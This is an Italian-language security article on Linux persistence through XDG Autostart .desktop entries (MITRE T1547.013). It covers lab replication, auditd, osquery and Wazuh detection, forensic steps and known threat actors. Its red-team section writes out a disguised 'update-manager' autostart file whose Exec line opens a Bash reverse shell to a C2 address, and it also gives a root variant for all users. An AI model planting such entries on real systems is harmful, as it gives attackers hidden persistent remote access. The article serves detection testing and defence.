Persistenza via Desktop Entry: XDG Autostart Entries (T1547.013)

Replicare questa tecnica in laboratorio è immediato e non richiede tool sofisticati: basta un editor di testo e una sessione su un desktop environment XDG-compliant. L'obiettivo dell'esercizio è verificare se i controlli di file integrity e le regole auditd del target rilevano la creazione di un nuovo autostart entry.

Scenario user-level. Crea un file .desktop nella directory autostart dell'utente corrente. Il payload in questo caso è una reverse shell Bash verso il C2 del red team:

mkdir -p ~/.config/autostart

cat > ~/.config/autostart/update-manager.desktop << 'EOF' [Desktop Entry] Type=Application Name=Update Manager Exec=/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1' Hidden=false NoDisplay=false X-GNOME-Autostart-enabled=true EOF

Il nome update-manager è scelto deliberatamente per mimetizzarsi tra gli entry legittimi — esattamente la combinazione con Masquerading citata nella letteratura. Nota il campo Hidden=false: alcuni operatori lo impostano a true per impedire che l'entry appaia nel pannello "Applicazioni d'avvio" del desktop environment, ma questo genera un artefatto anomalo facilmente rilevabile.

Scenario system-wide (richiede root). Se durante l'assessment hai ottenuto privilegi elevati, verifica la possibilità di scrivere in /etc/xdg/autostart:

sudo cp update-manager.desktop /etc/xdg/autostart/

In questo caso ogni utente con sessione grafica eseguirà il payload, estendendo la superficie di persistenza a tutti gli account interattivi del sistema.

Utilizzo di tool noti. Diversi framework replicano questa tecnica in modo automatizzato. Pupy (open source) è un RAT Python/C con un modulo dedicato per la persistenza via XDG Autostart. La generazione del payload e il deploy dell'entry avvengono in un singolo comando dal listener Pupy. CrossRAT è un altro esempio storico: essendo Java-based e cross-platform, scrive automaticamente il proprio .desktop file nella directory utente al momento dell'installazione.

Per una simulazione più controllata, il framework Atomic Red Team di Red Canary (open source) contiene test atomici per T1547.013 che creano e rimuovono l'entry in modo idempotente, ideali per validare le detection senza lasciare artefatti persistenti.

Dopo il test, verifica la pulizia completa:

rm ~/.config/autostart/update-manager.desktop sudo rm /etc/xdg/autostart/update-manager.desktop 2>/dev/null

Il fulcro della detection è il monitoraggio delle due directory autostart — /etc/xdg/autostart e ~/.config/autostart per ogni utente — tramite regole auditd che intercettino creazione e modifica di file. Questa è la regola fondamentale da inserire in /etc/audit/rules.d/:

-w /etc/xdg/autostart -p wa -k xdg_autostart_system

Per le directory utente il discorso è più complesso, perché il path varia per ogni account. Un approccio pratico consiste nell'enumerare le home directory e generare regole dinamiche, oppure usare osquery (open source) per interrogare periodicamente il contenuto delle directory. Una query schedulata in osquery può estrarre tutti i file .desktop presenti nei path autostart e confrontarli con una baseline di pacchetti noti.

La strategia di detection DET0390 suggerisce un approccio correlativo: osservare la creazione o modifica di un .desktop file (log auditd:SYSCALL) e poi correlare con l'esecuzione di un processo anomalo entro 0-5 minuti dal login utente (log auditd:EXECVE, linux:auth). Questo pattern riduce drasticamente i falsi positivi, perché lega il file alla sua effettiva esecuzione.

I parametri di tuning più critici sono tre. Primo, il regex sugli Exec path: costruisci una allowlist dei percorsi legittimi che compaiono nei .desktop file di sistema. Un Exec che punta a /tmp, /dev/shm, o a un path nella home utente fuori dai binari di pacchetto è altamente sospetto. Secondo, la verifica di origine pacchetto: il comando dpkg -S /etc/xdg/autostart/nome.desktop (su distribuzioni Debian-based) o rpm -qf (su RHEL-based) rivela se il file appartiene a un pacchetto installato. Un .desktop orfano è un segnale forte. Terzo, il filtraggio per contesto utente: concentra gli alert sugli utenti interattivi non-system, dato che la persistenza XDG è rilevante solo per sessioni grafiche.

Per il monitoraggio continuo, Wazuh (open source) offre il modulo File Integrity Monitoring (FIM) configurabile sulle directory autostart, con alert automatici verso il SIEM in caso di modifiche. La regola Wazuh può essere arricchita con un decoder personalizzato che estragga il valore del campo Exec dal contenuto del file creato.

I falsi positivi principali derivano dall'installazione di software legittimo via package manager, che scrive regolarmente in /etc/xdg/autostart. Il tuning basato su origine pacchetto li elimina quasi interamente.

L'indagine forense su un sospetto abuso di XDG Autostart parte da un artefatto testuale semplice ma ricco di informazioni: il file .desktop stesso. Acquisiscilo preservando i metadati filesystem con stat e calcola l'hash prima di qualsiasi analisi:

stat ~/.config/autostart/sospetto.desktop sha256sum ~/.config/autostart/sospetto.desktop

Il comando stat restituisce tre timestamp fondamentali: mtime (ultima modifica del contenuto), ctime (ultima modifica dei metadati/inode) e atime (ultimo accesso, se il filesystem non è montato con noatime). Il mtime del .desktop ti dà il momento in cui l'avversario ha scritto o modificato l'entry. Il ctime, non modificabile dall'utente, conferma la coerenza temporale.

Analizza il contenuto del file alla ricerca della direttiva Exec: il path indicato è il primo pivot dell'indagine. Recupera il binario puntato, calcolane l'hash e verificalo su servizi di threat intelligence come il portale VirusTotal. Se il percorso punta a un file già rimosso, controlla il journal di sistema e i log auditd per tracce di esecuzione passata.

Per ricostruire chi ha creato il file, i log auditd con le regole -w sulla directory autostart registrano il SYSCALL con UID, PID del processo scrivente e path completo. Questi record si trovano in /var/log/audit/audit.log e sono ricercabili con:

ausearch -k xdg_autostart_system -i

Correla il timestamp di creazione del .desktop con i log di autenticazione in /var/log/auth.log (o /var/log/secure su distribuzioni RHEL-based) per identificare la sessione SSH o console che ha originato la scrittura.

Un pattern specifico da cercare nelle campagne documentate: RotaJakiro installa il proprio .desktop esclusivamente in $HOME/.config/autostart/ quando non dispone di privilegi root, segnalando un'escalation fallita. Fysbis adotta lo stesso comportamento condizionale. InvisibleFerret, usato dal gruppo Contagious Interview, predilige ambienti GNOME-based. In tutti questi casi, il nome del .desktop file imita applicazioni legittime — un elemento da verificare incrociando con il database dei pacchetti installati tramite dpkg -S o rpm -qf.

Sulla timeline, il flusso tipico è: compromissione iniziale → scrittura del .desktop → primo login grafico successivo → esecuzione automatica del payload. Lo scarto temporale tra scrittura ed esecuzione può variare da minuti a giorni, in base a quando l'utente effettua il login con sessione desktop.

Il panorama degli attori che sfruttano la persistenza XDG Autostart disegna un quadro chiaro: si tratta di una tecnica adottata prevalentemente da malware cross-platform e da operazioni focalizzate su target Linux desktop, un segmento storicamente meno presidiato dai team difensivi.

Contagious Interview (G1052) è l'unico gruppo APT mappato su questa tecnica. L'operazione si distingue per il social engineering mirato: i target vengono contattati attraverso false offerte di lavoro e indotti a eseguire malware durante presunti colloqui tecnici. La catena di compromissione si conclude con il deploy di InvisibleFerret (S1245), un malware che stabilisce persistenza creando entry .desktop specificamente in ambienti GNOME-based. La scelta di GNOME non è casuale: è il desktop environment predefinito su Ubuntu e Fedora Workstation, le distribuzioni più diffuse tra sviluppatori — esattamente il profilo target di Contagious Interview.

Sul fronte del software, il panorama è più vario e attraversa diverse generazioni di tool. NETWIRE (S0198) è un RAT commerciale con supporto multi-piattaforma che include la persistenza XDG tra le sue capacità Linux. Pupy (S0192), framework open source, offre la funzionalità come modulo post-exploitation, rendendola accessibile a qualsiasi operatore red team o threat actor con competenze moderate. CrossRAT (S0235), scritto in Java, rappresenta un caso interessante di persistenza adattiva: lo stesso malware sceglie il meccanismo appropriato in base al sistema operativo — Launch Agent su macOS, Registry Run Key su Windows, XDG Autostart su Linux.

RotaJakiro (S1078) e Fysbis (S0410) condividono un pattern comportamentale significativo: entrambi utilizzano la persistenza XDG Autostart solo quando operano senza privilegi root. Se dispongono di accesso elevato, preferiscono meccanismi più profondi come systemd service o cron job di sistema. Questa biforcazione indica maturità operativa e suggerisce che gli entry .desktop vengano percepiti dagli stessi sviluppatori malware come un meccanismo di fallback per situazioni a privilegi limitati.

Il trend emergente è la convergenza su ambienti di sviluppo Linux: sviluppatori, DevOps engineer e data scientist rappresentano un target ad alto valore che spesso opera con desktop environment grafici e con una superficie di attacco meno monitorata rispetto alle workstation Windows enterprise. Le tre mitigazioni mappate — restrizione delle permission sulle directory autostart, gestione rigorosa degli account utente e limitazione dell'installazione software — confermano che il controllo più efficace è impedire la scrittura non autorizzata nelle directory critiche, combinato con un inventario rigoroso dei .desktop file legittimi.

Framework MITRE ATT&CK v16 — Tecnica T1547.013 (Boot or Logon Autostart Execution: XDG Autostart Entries), tattiche TA0003 e TA0004. Gruppi: G1052. Software: S0198, S0192, S1245, S0235, S1078, S0410. Mitigazioni: M1022, M1018, M1033. Detection: DET0390/AN1096. Tool di detection e simulation: auditd, osquery (open source), Wazuh (open source), Atomic Red Team (open source). Integrato con conoscenza professionale per tool e procedure operative.